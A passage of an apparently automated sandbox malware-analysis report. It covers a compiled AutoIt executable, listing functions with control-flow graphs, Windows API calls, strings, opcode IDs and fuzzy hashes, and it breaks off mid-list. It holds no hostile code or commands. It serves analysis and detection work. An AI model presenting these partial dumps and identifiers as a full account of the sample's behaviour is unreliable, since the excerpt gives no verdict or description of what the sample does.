                                                          • Instruction Fuzzy Hash: 12711D61D2FA83D6EA20EB20E8502F96760FF93B54F840175E54DD65A6EF6CEE49C300
                                                          Function 00007FF6A5376580 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 208COMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 352 7ff6a5376580-7ff6a53765fc call 7ff6a5394c68 call 7ff6a5376c98 call 7ff6a5395d00 359 7ff6a5376737-7ff6a537673a 352->359 360 7ff6a5376602-7ff6a5376606 352->360 361 7ff6a53bc9f5-7ff6a53bc9fd call 7ff6a53f2e00 359->361 362 7ff6a5376740-7ff6a5376753 CreateStreamOnHGlobal 359->362 363 7ff6a537660c-7ff6a5376617 call 7ff6a53a5514 360->363 364 7ff6a53bca03-7ff6a53bca1e 360->364 361->364 362->360 367 7ff6a5376759-7ff6a5376777 FindResourceExW 362->367 372 7ff6a537661b-7ff6a537664e call 7ff6a53767d8 363->372 375 7ff6a53bca27-7ff6a53bca60 call 7ff6a5376810 call 7ff6a53767d8 364->375 367->360 371 7ff6a537677d 367->371 373 7ff6a53bc97e-7ff6a53bc991 LoadResource 371->373 380 7ff6a53766e8 372->380 381 7ff6a5376654-7ff6a537665f 372->381 373->360 376 7ff6a53bc997-7ff6a53bc9a8 SizeofResource 373->376 384 7ff6a53766ee 375->384 397 7ff6a53bca66 375->397 376->360 379 7ff6a53bc9ae-7ff6a53bc9ba LockResource 376->379 379->360 383 7ff6a53bc9c0-7ff6a53bc9f0 379->383 380->384 385 7ff6a5376661-7ff6a537666f 381->385 386 7ff6a53766ae-7ff6a53766b2 381->386 383->360 388 7ff6a53766f1-7ff6a5376715 384->388 389 7ff6a5376670-7ff6a537667d 385->389 386->380 390 7ff6a53766b4-7ff6a53766cf call 7ff6a5376810 386->390 393 7ff6a5376729-7ff6a5376736 388->393 394 7ff6a5376717-7ff6a5376724 call 7ff6a5394c24 * 2 388->394 395 7ff6a5376680-7ff6a537668f 389->395 390->372 394->393 400 7ff6a53766d4-7ff6a53766dd 395->400 401 7ff6a5376691-7ff6a5376695 395->401 397->388 403 7ff6a5376782-7ff6a537678c 400->403 404 7ff6a53766e3-7ff6a53766e6 400->404 401->375 406 7ff6a537669b-7ff6a53766a8 401->406 409 7ff6a5376797-7ff6a53767a1 403->409 410 7ff6a537678e 403->410 404->401 406->389 408 7ff6a53766aa 406->408 408->386 411 7ff6a53767a3-7ff6a53767ad 409->411 412 7ff6a53767ce 409->412 410->409 413 7ff6a53767c6 411->413 414 7ff6a53767af-7ff6a53767bb 411->414 412->373 413->412 414->395 415 7ff6a53767c1 414->415 415->413
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Resource$CreateFindGlobalLoadLockSizeofStream
                                                          • String ID: AU3!$EA06$SCRIPT
                                                          • API String ID: 3051347437-2925976212
                                                          • Opcode ID: 0198f2f47bece1db11aa7bb9b641f4924479db81dbf77a4bbaab6495d8bcbac5
                                                          • Instruction ID: c7b19f4351155f52068a98569146b49640dbe99fa7836122f8709c709732d2ad
                                                          • Opcode Fuzzy Hash: 0198f2f47bece1db11aa7bb9b641f4924479db81dbf77a4bbaab6495d8bcbac5
                                                          • Instruction Fuzzy Hash: CD91D272F2AA9186EB20CB229464A7C27A5BB86F84F814135DE5DC7785EF39E804C704
                                                          Function 00007FF6A5391D80 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 251COMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 482 7ff6a5391d80-7ff6a5391e17 call 7ff6a5379640 GetVersionExW call 7ff6a5377cf4 487 7ff6a53d9450 482->487 488 7ff6a5391e1d 482->488 490 7ff6a53d9457-7ff6a53d945d 487->490 489 7ff6a5391e20-7ff6a5391e46 call 7ff6a537dda4 488->489 495 7ff6a5391fc1 489->495 496 7ff6a5391e4c 489->496 492 7ff6a53d9463-7ff6a53d9480 490->492 492->492 494 7ff6a53d9482-7ff6a53d9485 492->494 494->489 497 7ff6a53d948b-7ff6a53d9491 494->497 495->487 498 7ff6a5391e53-7ff6a5391e59 496->498 497->490 499 7ff6a53d9493 497->499 500 7ff6a5391e5f-7ff6a5391e7c 498->500 502 7ff6a53d9498-7ff6a53d94a1 499->502 500->500 501 7ff6a5391e7e-7ff6a5391e81 500->501 501->502 503 7ff6a5391e87-7ff6a5391ed6 call 7ff6a537dda4 501->503 502->498 504 7ff6a53d94a7 502->504 507 7ff6a53d9645-7ff6a53d964d 503->507 508 7ff6a5391edc-7ff6a5391ede 503->508 504->495 509 7ff6a53d964f-7ff6a53d9658 507->509 510 7ff6a53d965a-7ff6a53d965d 507->510 511 7ff6a5391ee4-7ff6a5391efa 508->511 512 7ff6a53d94ac-7ff6a53d94af 508->512 515 7ff6a53d9686-7ff6a53d9692 509->515 510->515 516 7ff6a53d965f-7ff6a53d9674 510->516 517 7ff6a53d9572-7ff6a53d9579 511->517 518 7ff6a5391f00-7ff6a5391f02 511->518 513 7ff6a53d94b5-7ff6a53d9501 512->513 514 7ff6a5391f3c-7ff6a5391f80 GetCurrentProcess IsWow64Process call 7ff6a5396240 512->514 513->514 520 7ff6a53d9507-7ff6a53d950e 513->520 530 7ff6a53d969d-7ff6a53d96b3 call 7ff6a53e32f4 514->530 535 7ff6a5391f86-7ff6a5391f8b GetSystemInfo 514->535 515->530 521 7ff6a53d967f 516->521 522 7ff6a53d9676-7ff6a53d967d 516->522 523 7ff6a53d957b-7ff6a53d9584 517->523 524 7ff6a53d9589-7ff6a53d9599 517->524 525 7ff6a53d959e-7ff6a53d95b3 518->525 526 7ff6a5391f08-7ff6a5391f0b 518->526 528 7ff6a53d9534-7ff6a53d953c 520->528 529 7ff6a53d9510-7ff6a53d9518 520->529 521->515 522->515 523->514 524->514 533 7ff6a53d95c3-7ff6a53d95d3 525->533 534 7ff6a53d95b5-7ff6a53d95be 525->534 531 7ff6a5391f11-7ff6a5391f2d 526->531 532 7ff6a53d95ed-7ff6a53d95f0 526->532 539 7ff6a53d953e-7ff6a53d9547 528->539 540 7ff6a53d954c-7ff6a53d9554 528->540 537 7ff6a53d951a-7ff6a53d9521 529->537 538 7ff6a53d9526-7ff6a53d952f 529->538 550 7ff6a53d96b5-7ff6a53d96d5 call 7ff6a53e32f4 530->550 551 7ff6a53d96d7-7ff6a53d96dc GetSystemInfo 530->551 542 7ff6a5391f33 531->542 543 7ff6a53d95d8-7ff6a53d95e8 531->543 532->514 536 7ff6a53d95f6-7ff6a53d9620 532->536 533->514 534->514 545 7ff6a5391f91-7ff6a5391fc0 535->545 546 7ff6a53d9622-7ff6a53d962b 536->546 547 7ff6a53d9630-7ff6a53d9640 536->547 537->514 538->514 539->514 548 7ff6a53d9564-7ff6a53d956d 540->548 549 7ff6a53d9556-7ff6a53d955f 540->549 542->514 543->514 546->514 547->514 548->514 549->514 553 7ff6a53d96e2-7ff6a53d96ea 550->553 551->553 553->545 555 7ff6a53d96f0-7ff6a53d96f7 FreeLibrary 553->555 555->545
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Process$CurrentInfoSystemVersionWow64
                                                          • String ID: |O
                                                          • API String ID: 1568231622-607156228
                                                          • Opcode ID: ec54e35f865d5c9bd0249927ea89c9316792baffd49f7d05aa477cb653b26fcc
                                                          • Instruction ID: 37b64774d0d37c0d70bcda6af64051ef4fabbaf3f605a671f0e51b8ecf10ec07
                                                          • Opcode Fuzzy Hash: ec54e35f865d5c9bd0249927ea89c9316792baffd49f7d05aa477cb653b26fcc
                                                          • Instruction Fuzzy Hash: 77D15E62E2FB82C5E631CB24A8102752BA0EF97F84F444179D58EC2AA5EE6CFD05D711
                                                          Function 00007FF6A540F630 Relevance: 12.4, APIs: 8, Instructions: 350processCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 719 7ff6a540f630-7ff6a540f69e call 7ff6a5396240 722 7ff6a540f6a0-7ff6a540f6b8 call 7ff6a537ffbc 719->722 723 7ff6a540f6d4-7ff6a540f6d9 719->723 732 7ff6a540f708-7ff6a540f70d 722->732 733 7ff6a540f6ba-7ff6a540f6d2 call 7ff6a537ffbc 722->733 725 7ff6a540f6db-7ff6a540f6ef call 7ff6a537ffbc 723->725 726 7ff6a540f71e-7ff6a540f723 723->726 736 7ff6a540f6f3-7ff6a540f706 call 7ff6a537ffbc 725->736 727 7ff6a540f736-7ff6a540f75c call 7ff6a537d4cc call 7ff6a537e330 726->727 728 7ff6a540f725-7ff6a540f729 726->728 748 7ff6a540f840-7ff6a540f84a 727->748 749 7ff6a540f762-7ff6a540f7cf call 7ff6a537d4cc call 7ff6a537e330 call 7ff6a537d4cc call 7ff6a537e330 call 7ff6a537d4cc call 7ff6a537e330 727->749 731 7ff6a540f72d-7ff6a540f732 call 7ff6a537ffbc 728->731 731->727 737 7ff6a540f719-7ff6a540f71c 732->737 738 7ff6a540f70f-7ff6a540f717 732->738 733->736 736->726 736->732 737->726 737->727 738->731 751 7ff6a540f84c-7ff6a540f86e call 7ff6a537d4cc call 7ff6a537e330 748->751 752 7ff6a540f87d-7ff6a540f8af GetCurrentDirectoryW call 7ff6a5394c68 GetCurrentDirectoryW 748->752 799 7ff6a540f806-7ff6a540f83e GetSystemDirectoryW call 7ff6a5394c68 GetSystemDirectoryW 749->799 800 7ff6a540f7d1-7ff6a540f7f3 call 7ff6a537d4cc call 7ff6a537e330 749->800 751->752 769 7ff6a540f870-7ff6a540f87b call 7ff6a5398d58 751->769 760 7ff6a540f8b5-7ff6a540f8b8 752->760 763 7ff6a540f8ba-7ff6a540f8eb call 7ff6a538f688 * 3 760->763 764 7ff6a540f8f0-7ff6a540f8ff call 7ff6a53ef464 760->764 763->764 777 7ff6a540f901-7ff6a540f903 764->777 778 7ff6a540f905-7ff6a540f95d call 7ff6a53efddc call 7ff6a53efca8 call 7ff6a53efafc 764->778 769->752 769->764 782 7ff6a540f964-7ff6a540f96c 777->782 778->782 806 7ff6a540f95f 778->806 784 7ff6a540fa0f-7ff6a540fa4b CreateProcessW 782->784 785 7ff6a540f972-7ff6a540fa0d call 7ff6a53dd1f8 call 7ff6a5398d58 * 3 call 7ff6a5394c24 * 3 782->785 789 7ff6a540fa4f-7ff6a540fa62 call 7ff6a5394c24 * 2 784->789 785->789 812 7ff6a540fabe-7ff6a540faca CloseHandle 789->812 813 7ff6a540fa64-7ff6a540fabc call 7ff6a5374afc * 2 GetLastError call 7ff6a538f214 call 7ff6a53813e0 789->813 799->760 800->799 821 7ff6a540f7f5-7ff6a540f800 call 7ff6a5398d58 800->821 806->782 816 7ff6a540facc-7ff6a540faf0 call 7ff6a53ef7dc call 7ff6a53f0088 call 7ff6a540fb68 812->816 817 7ff6a540faf5-7ff6a540fafc 812->817 831 7ff6a540fb3b-7ff6a540fb65 call 7ff6a53ef51c 813->831 816->817 823 7ff6a540fb0c-7ff6a540fb35 call 7ff6a53813e0 CloseHandle 817->823 824 7ff6a540fafe-7ff6a540fb0a 817->824 821->760 821->799 823->831 824->831
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Directory$Handle$CloseCurrentLockSyncSystem$CreateErrorLastProcess
                                                          • String ID:
                                                          • API String ID: 1787492119-0
                                                          • Opcode ID: 7e2152e071d707a02259ed7eceb46a23a497e13ab82a6afe2ceb165a580153bd
                                                          • Instruction ID: dce5782e3ae2e084429d03b15887a9ad030b2580a5ab5adc09f3a0a956b939d4
                                                          • Opcode Fuzzy Hash: 7e2152e071d707a02259ed7eceb46a23a497e13ab82a6afe2ceb165a580153bd
                                                          • Instruction Fuzzy Hash: 4DE18D22A1AB4195EB10DB26D4502BD77A0FBC6F88F104536EE5D8B7A9EF3CE845C740
                                                          Function 00007FF6A53EC7C0 Relevance: 6.0, APIs: 4, Instructions: 24filestringCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: FileFind$AttributesCloseFirstlstrlen
                                                          • String ID:
                                                          • API String ID: 2695905019-0
                                                          • Opcode ID: 0e40a590ccee8b84c2b17bba0c0d64c91c67e628f63cf05be15c9ff0c6569a5d
                                                          • Instruction ID: 18566c2ebe8ee16212c7847828c3ef6571d5898ab3e74a33ac5448ca91a3cf0d
                                                          • Opcode Fuzzy Hash: 0e40a590ccee8b84c2b17bba0c0d64c91c67e628f63cf05be15c9ff0c6569a5d
                                                          • Instruction Fuzzy Hash: 40F05410D1AA1681EA24DB24B80937C63E0EF97F75F545330D87E8A2E5DF6C9C584200
                                                          Function 00007FF6A5377920 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 178registryCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: NameQueryValuewcscat$CloseFileFullModuleOpenPath
                                                          • String ID: Include$Software\AutoIt v3\AutoIt$\Include\
                                                          • API String ID: 2667193904-1575078665
                                                          • Opcode ID: 0b6bf45a64842918da9741c86a8fcbaacc7448e7312e04ce65aed9a70eac514d
                                                          • Instruction ID: e373c3a66f1415681e6515884736d56bc72620c9ab3d605cc1fee6d2c87f9d81
                                                          • Opcode Fuzzy Hash: 0b6bf45a64842918da9741c86a8fcbaacc7448e7312e04ce65aed9a70eac514d
                                                          • Instruction Fuzzy Hash: 75915062A2AB83E5EB10DB24E8401B97364FFD6B94F400236E54DC7AA5EF7CDA45C740
                                                          Function 00007FF6A5375DEC Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 143windowtimeregistryCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 131 7ff6a5375dec-7ff6a5375e21 133 7ff6a5375e23-7ff6a5375e26 131->133 134 7ff6a5375e91-7ff6a5375e94 131->134 135 7ff6a5375e98 133->135 136 7ff6a5375e28-7ff6a5375e2f 133->136 134->133 137 7ff6a5375e96 134->137 138 7ff6a53bc229-7ff6a53bc261 call 7ff6a538ede4 call 7ff6a5392c44 135->138 139 7ff6a5375e9e-7ff6a5375ea3 135->139 140 7ff6a5375e35-7ff6a5375e3a 136->140 141 7ff6a5375f21-7ff6a5375f29 PostQuitMessage 136->141 142 7ff6a5375e6b-7ff6a5375e76 DefWindowProcW 137->142 178 7ff6a53bc267-7ff6a53bc26e 138->178 143 7ff6a5375ecc-7ff6a5375efa SetTimer RegisterWindowMessageW 139->143 144 7ff6a5375ea5-7ff6a5375ea8 139->144 145 7ff6a53bc2af-7ff6a53bc2c5 call 7ff6a53ea40c 140->145 146 7ff6a5375e40-7ff6a5375e43 140->146 149 7ff6a5375ec8-7ff6a5375eca 141->149 148 7ff6a5375e7c-7ff6a5375e90 142->148 143->149 152 7ff6a5375efc-7ff6a5375f09 CreatePopupMenu 143->152 150 7ff6a53bc1b8-7ff6a53bc1bb 144->150 151 7ff6a5375eae-7ff6a5375ebe KillTimer call 7ff6a5375d88 144->151 145->149 171 7ff6a53bc2cb 145->171 153 7ff6a5375f2b-7ff6a5375f35 call 7ff6a5394610 146->153 154 7ff6a5375e49-7ff6a5375e4e 146->154 149->148 157 7ff6a53bc1f7-7ff6a53bc224 MoveWindow 150->157 158 7ff6a53bc1bd-7ff6a53bc1c0 150->158 167 7ff6a5375ec3 call 7ff6a5377098 151->167 152->149 173 7ff6a5375f3a 153->173 160 7ff6a53bc292-7ff6a53bc299 154->160 161 7ff6a5375e54-7ff6a5375e59 154->161 157->149 165 7ff6a53bc1e4-7ff6a53bc1f2 SetFocus 158->165 166 7ff6a53bc1c2-7ff6a53bc1c5 158->166 160->142 168 7ff6a53bc29f-7ff6a53bc2aa call 7ff6a53dc54c 160->168 169 7ff6a5375f0b-7ff6a5375f1f call 7ff6a5375f3c 161->169 170 7ff6a5375e5f-7ff6a5375e65 161->170 165->149 166->170 174 7ff6a53bc1cb-7ff6a53bc1df call 7ff6a538ede4 166->174 167->149 168->142 169->149 170->142 170->178 171->142 173->149 174->149 178->142 182 7ff6a53bc274-7ff6a53bc28d call 7ff6a5375d88 call 7ff6a5376258 178->182 182->142
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
                                                          • String ID: TaskbarCreated
                                                          • API String ID: 129472671-2362178303
                                                          • Opcode ID: 72f25fe2909dc216fe8e5bf23ccffbdf7394ac074e80fb2f1d04dd01aa152451
                                                          • Instruction ID: 1da044639ce7a4c96939a7c2345b02561e94b4c37d18ab46afee8d17d1ccd8c4
                                                          • Opcode Fuzzy Hash: 72f25fe2909dc216fe8e5bf23ccffbdf7394ac074e80fb2f1d04dd01aa152451
                                                          • Instruction Fuzzy Hash: BA510631E2FA57C2FA78DB24E8442B92695EFA7F80F440435D44DC7AA6EE6CED458700
                                                          Function 00007FF6A5373D90 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 57windowregistryCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
                                                          • String ID: AutoIt v3 GUI$TaskbarCreated
                                                          • API String ID: 2914291525-2659433951
                                                          • Opcode ID: 474949a99bec8184bed6bacf9f27c592b422b8b82249946e56584e62d8b9113a
                                                          • Instruction ID: 9ebe5a06900edea7a4533d084dcb8cc5fd62664079ace7a954b483fc5d3ebbf0
                                                          • Opcode Fuzzy Hash: 474949a99bec8184bed6bacf9f27c592b422b8b82249946e56584e62d8b9113a
                                                          • Instruction Fuzzy Hash: F3313436A09B518AE700CF61E8443AC3BB4FB5AB58F104138CA5D97B64DFBC9958CB80
                                                          Function 00007FF6A538E958 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 304comCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 189 7ff6a538e958-7ff6a538e9ae 190 7ff6a53d27e4-7ff6a53d27ea DestroyWindow 189->190 191 7ff6a538e9b4-7ff6a538e9d3 mciSendStringW 189->191 194 7ff6a53d27f0-7ff6a53d2801 190->194 192 7ff6a538e9d9-7ff6a538e9e3 191->192 193 7ff6a538ecbd-7ff6a538ecce 191->193 192->194 195 7ff6a538e9e9 192->195 196 7ff6a538ecd0-7ff6a538ecf0 UnregisterHotKey 193->196 197 7ff6a538ecf7-7ff6a538ed01 193->197 199 7ff6a53d2803-7ff6a53d2806 194->199 200 7ff6a53d2835-7ff6a53d283f 194->200 198 7ff6a538e9f0-7ff6a538e9f3 195->198 196->197 201 7ff6a538ecf2 call 7ff6a538f270 196->201 197->192 202 7ff6a538ed07 197->202 204 7ff6a538ecb0-7ff6a538ecb8 call 7ff6a5375410 198->204 205 7ff6a538e9f9-7ff6a538ea08 call 7ff6a5373aa8 198->205 206 7ff6a53d2813-7ff6a53d2817 FindClose 199->206 207 7ff6a53d2808-7ff6a53d2811 call 7ff6a5378314 199->207 200->194 203 7ff6a53d2841 200->203 201->197 202->193 214 7ff6a53d2846-7ff6a53d284f call 7ff6a5408c00 203->214 204->198 220 7ff6a538ea0f-7ff6a538ea12 205->220 212 7ff6a53d281d-7ff6a53d282e 206->212 207->212 212->200 213 7ff6a53d2830 call 7ff6a53f3180 212->213 213->200 214->220 220->214 222 7ff6a538ea18 220->222 223 7ff6a538ea1f-7ff6a538ea22 222->223 224 7ff6a53d2854-7ff6a53d285d call 7ff6a53e46cc 223->224 225 7ff6a538ea28-7ff6a538ea32 223->225 224->223 226 7ff6a53d2862-7ff6a53d2873 225->226 227 7ff6a538ea38-7ff6a538ea42 225->227 232 7ff6a53d2875 FreeLibrary 226->232 233 7ff6a53d287b-7ff6a53d2885 226->233 229 7ff6a53d288c-7ff6a53d289d 227->229 230 7ff6a538ea48-7ff6a538ea76 call 7ff6a53813e0 227->230 234 7ff6a53d289f-7ff6a53d28c2 VirtualFree 229->234 235 7ff6a53d28c9-7ff6a53d28d3 229->235 242 7ff6a538eabf-7ff6a538eacc OleUninitialize 230->242 243 7ff6a538ea78 230->243 232->233 233->226 237 7ff6a53d2887 233->237 234->235 238 7ff6a53d28c4 call 7ff6a53f321c 234->238 235->229 240 7ff6a53d28d5 235->240 237->229 238->235 245 7ff6a53d28da-7ff6a53d28de 240->245 242->245 246 7ff6a538ead2-7ff6a538ead9 242->246 244 7ff6a538ea7d-7ff6a538eabd call 7ff6a538f1c4 call 7ff6a538f13c 243->244 244->242 245->246 248 7ff6a53d28e4-7ff6a53d28ef 245->248 249 7ff6a538eadf-7ff6a538eaea 246->249 250 7ff6a53d28f4-7ff6a53d2903 call 7ff6a53f31d4 246->250 248->246 253 7ff6a538eaf0-7ff6a538eb22 call 7ff6a537a07c call 7ff6a538f08c call 7ff6a53739bc 249->253 254 7ff6a538ed09-7ff6a538ed18 call 7ff6a53942a0 249->254 262 7ff6a53d2905 250->262 273 7ff6a538eb2e-7ff6a538ebc4 call 7ff6a53739bc call 7ff6a537a07c call 7ff6a53745c8 * 2 call 7ff6a537a07c * 3 call 7ff6a53813e0 call 7ff6a538ee68 call 7ff6a538ee2c * 3 253->273 274 7ff6a538eb24-7ff6a538eb29 call 7ff6a5394c24 253->274 254->253 265 7ff6a538ed1e 254->265 266 7ff6a53d290a-7ff6a53d2919 call 7ff6a53e3a78 262->266 265->254 272 7ff6a53d291b 266->272 277 7ff6a53d2920-7ff6a53d292f call 7ff6a538e4e4 272->277 273->266 316 7ff6a538ebca-7ff6a538ebdc call 7ff6a53739bc 273->316 274->273 283 7ff6a53d2931 277->283 286 7ff6a53d2936-7ff6a53d2945 call 7ff6a53f3078 283->286 293 7ff6a53d2947 286->293 296 7ff6a53d294c-7ff6a53d295b call 7ff6a53f31a8 293->296 301 7ff6a53d295d 296->301 304 7ff6a53d2962-7ff6a53d2971 call 7ff6a53f31a8 301->304 310 7ff6a53d2973 304->310 310->310 316->277 319 7ff6a538ebe2-7ff6a538ebec 316->319 319->286 320 7ff6a538ebf2-7ff6a538ec08 call 7ff6a537a07c 319->320 323 7ff6a538ec0e-7ff6a538ec18 320->323 324 7ff6a538ed20-7ff6a538ed25 call 7ff6a5394c24 320->324 326 7ff6a538ec8a-7ff6a538eca9 call 7ff6a537a07c call 7ff6a5394c24 323->326 327 7ff6a538ec1a-7ff6a538ec24 323->327 324->190 337 7ff6a538ecab 326->337 327->296 330 7ff6a538ec2a-7ff6a538ec3b 327->330 330->304 332 7ff6a538ec41-7ff6a538ed71 call 7ff6a537a07c * 3 call 7ff6a538ee10 call 7ff6a538ed8c 330->332 347 7ff6a538ed77-7ff6a538ed88 332->347 348 7ff6a53d2978-7ff6a53d2987 call 7ff6a53fd794 332->348 337->327 351 7ff6a53d2989 348->351 351->351
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
